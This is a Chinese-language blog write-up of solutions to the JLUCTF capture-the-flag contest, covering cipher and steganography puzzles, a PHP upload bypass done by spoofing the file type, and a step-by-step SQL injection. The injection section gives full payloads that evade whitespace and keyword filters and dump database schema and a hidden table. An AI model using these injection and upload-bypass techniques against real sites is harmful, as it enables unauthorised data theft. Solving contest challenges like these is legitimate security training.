Press "Enter" to skip to content

Category: JLUCTF

[JLUCTF]Game Review

前言: 在朋友的慫恿下參加了這次由吉林大學舉辦的奪旗賽,整體題目深淺有序,後期公佈的部分題目頗有深度,非常有趣。 最後排名 Rating place: 2/38 下面說一下一些有趣題目的解法,僅供參考。 直接在鍵盤上畫出,得出flag:spirit{great} 經過搜尋,當鋪用的十個數字的暗碼是“由”、“中”、“人”、“工”、“大”、“王”、“夫”、“井”、“羊”、“非”十個字。這種暗碼是以每一個字上下左右露出的筆畫的字頭多少來表示數字的。如“由”字上面一豎露出一個頭,為數字“一”,“中”字上下露出二個字頭,為數字“二”,“羊”字上下左右露出九個字頭,為數字“九”,“非”字上下左右共露出十個字頭,為數字“十”。如果說“夫井”,那就是在說“七八”這個數字了。 而misc3.txt中打開後為: 經過轉換田=0;由=1,得出:

將1轉為黑色,0轉為白色得出以下圖片: Data Matrix解密,放入網站 https://online-barcode-reader.inliteresearch.com/ 進行轉換,得出結果: flag: 打開後,內容如下:

得到的提示是:维吉尼亚,經過搜尋後,找到一個名為 Vigenère Cipher Codebreaker 的網站。 將上面的密文放進去,暴力排解後得到結果:

密碼是:applepen,故此使用applepen對ptcamcinpeapeetyeety進行解密,得出: penpineappleapplepen,故此flag為:。 server.py

這個是服務器(伺服器)端文件,最主要看最下面的判斷部分,如何顯示flag:

代表如果客戶端輸入spirit則顯示flag。 接下來我們只要連接服務器(伺服器),然後傳送字串spirit給服務器(伺服器)即可。 使用python的socket庫連接:

打開網頁後,發現是一個很簡單的php架構,然後先試著上傳一個php,如下: 提示說请上传jpg,gif,png等格式的图片!,試試上傳一張正常的png圖片: 返回:

明白了,大致上返回的只有圖片的類型,我們可以先試試上傳的時候直接修改類型欺騙,如下: *上傳php,攔截POST修改文件類型(有關攔截的方法請自行搜索)。 將上面的內容,修改為:

提交成功,直接獲得flag,如下: flag: 進入網站後只發現一個查詢框,默認值是1,按下查詢後返回 SELECT * FROM sqli2 WHERE id=’1′ Hello,ToAlice,輸入2返回SELECT * FROM sqli2 WHERE id=’2′ Hello,Beitofen,輸入3返回SELECT * FROM sqli2 WHERE id=’3′ Hello,test。 其餘無論輸入什麼整數數值均會返回Nothing~ Flag is not here!。 先使用簡單sql injection語法,’1′ or 1=1#’,返回錯誤Nothing~ Flag is not here!,無法取得Hello,xxx,發現過濾了空白鍵,如下: SELECT * FROM sqli2 WHERE id=’1’or1=1#’。 嘗試過注釋法、UNICODE法均未能通過,最後發現能夠使用%20 %09代替一個空白鍵。 故使用1’%20 %09or%20 %091=1#作替代,成功取得Hello,ToAlice,如下。 發現能夠使用的注入方法後,嘗試讀取有多少欄,使用 4′ and 1=2 UNION SELECT 1,count(*),3 FROM sqli2 Where ”=’,一樣方法,使用%20 %09替代空白的地方。*由於我們知道頭3欄是有數據的,故此可以使用id=4(或其他任意非1,2,3的數字)來讀取資料。 輸入後返回錯誤Nothing~ Flag is not here!,發現是由於又過濾了UNION以及SELECT,直接輸入會直接刪去這兩個字,返回如下: SELECT * FROM sqli2 WHERE id=’4′ and 1=2 1,count(*),3 from sqli2 where”=” Nothing~ Flag is not here! 嘗試使用注釋法(/**/)排除過濾,發現成功,輸入: id=4’%20 %09and%20 %091=2%20 %09UNI/**/ON%20 %09Sel/**/ect%20 %091,count(*),3%20 %09FROM%20 %09sqli2%20 %09Where ”=’ 返回如下: 返回 Hello,3 ,代表count(*)的結果為3,在資料庫中有三行數據,暫時已知數據即id=1,2及3;xxx(未知欄名)=ToAlice,Beitofen及test。 由於只有三個數據,故代表不是猜解id,懷疑flag隱藏在其他未知的欄中。 使用語法列出所有欄名: 1’%20 %09and%20 %091=2%20 %09un/**/ion%20 %09se/**/lect%20 %09all%20 %091,group_concat(column_name,’,’),3%20 %09from%20 %09information_schema.columns%20 %09where%20 %09table_name%20 %09=%20 %09’sqli2’# 返回: SELECT * FROM sqli2 WHERE id=’1′ and 1=2 union select all 1,group_concat(,’,’),3 from information_schema.columns where table_name = ‘sqli2’#’ Hello,id,,name,,pass, 欄名已知有三個,繼續列出欄位pass的所有列數據: 1’%20 %09and%20 %091=2%20 %09UNI/**/ON%20 %09Sel/**/ect%20 %091,(sel/**/ect%20 %09group_concat(pass,’,’)%20 %09from%20 %09sqli2),3# 返回如下: SELECT * FROM sqli2 WHERE id=’1′ and 1=2 union select 1,(select group_concat(,’,’) from sqli2),3#’ Hello,123,,456,,test, 得知所有欄位以及列數據了,如下表: 竟然發現裡面沒有flag…. (當下還去問了一下管理員,發現這題還未結束,flag在其他的表中) 使用語法列出所有的表單(為了方便閱讀,下面所有語法不作過濾): SELECT * FROM sqli2 WHERE id=’1′ and 1=2 union select all 1,group_concat(table_name,’,’),3 from information_schema.tables#’ 得出以下結果,得出: Hello,,CHARACTER_SETS,,COLLATIONS,,COLLATION_CHARACTER_SET_APPLICABILITY,,COLUMNS,,COLUMN_PRIVILEGES,,ENGINES,,EVENTS,,FILES,,GLOBAL_STATUS,,GLOBAL_VARIABLES,,KEY_COLUMN_USAGE,,PARAMETERS,, …… ,,fl4g,,sqli2 根據上面的方法再查詢欄名,發現只有一欄,叫flag。 直接讀取fl4g裡面的flag欄位的第一格,如下: 1′ and 1=2 union select 1,(select group_concat(flag,’,’) from fl4g),3# 返回: 下載後,得到一段音頻,雖然聽起來有古怪,但是照樣使用老辦法,先用binwalk看看有沒有其他的文件簽名。 竟然裡面藏了8張相片在一個壓縮檔內,直接使用foremost提取內容: 返回:

全部解壓後,得出8張QR code。 QR code掃描後得出8段MD5碼,經過經過MD5解碼,得出以下結果:

整理: 1.png:626960de53d13788ec8e5c540fe3bb39:fspirit Uspirit 2.png:2af78e96e41cb3444f271073d9ab0877:lspirit Rspirit 2.png:f521611dcee78f0a784d60f13e00931f:aspirit…

Comments closed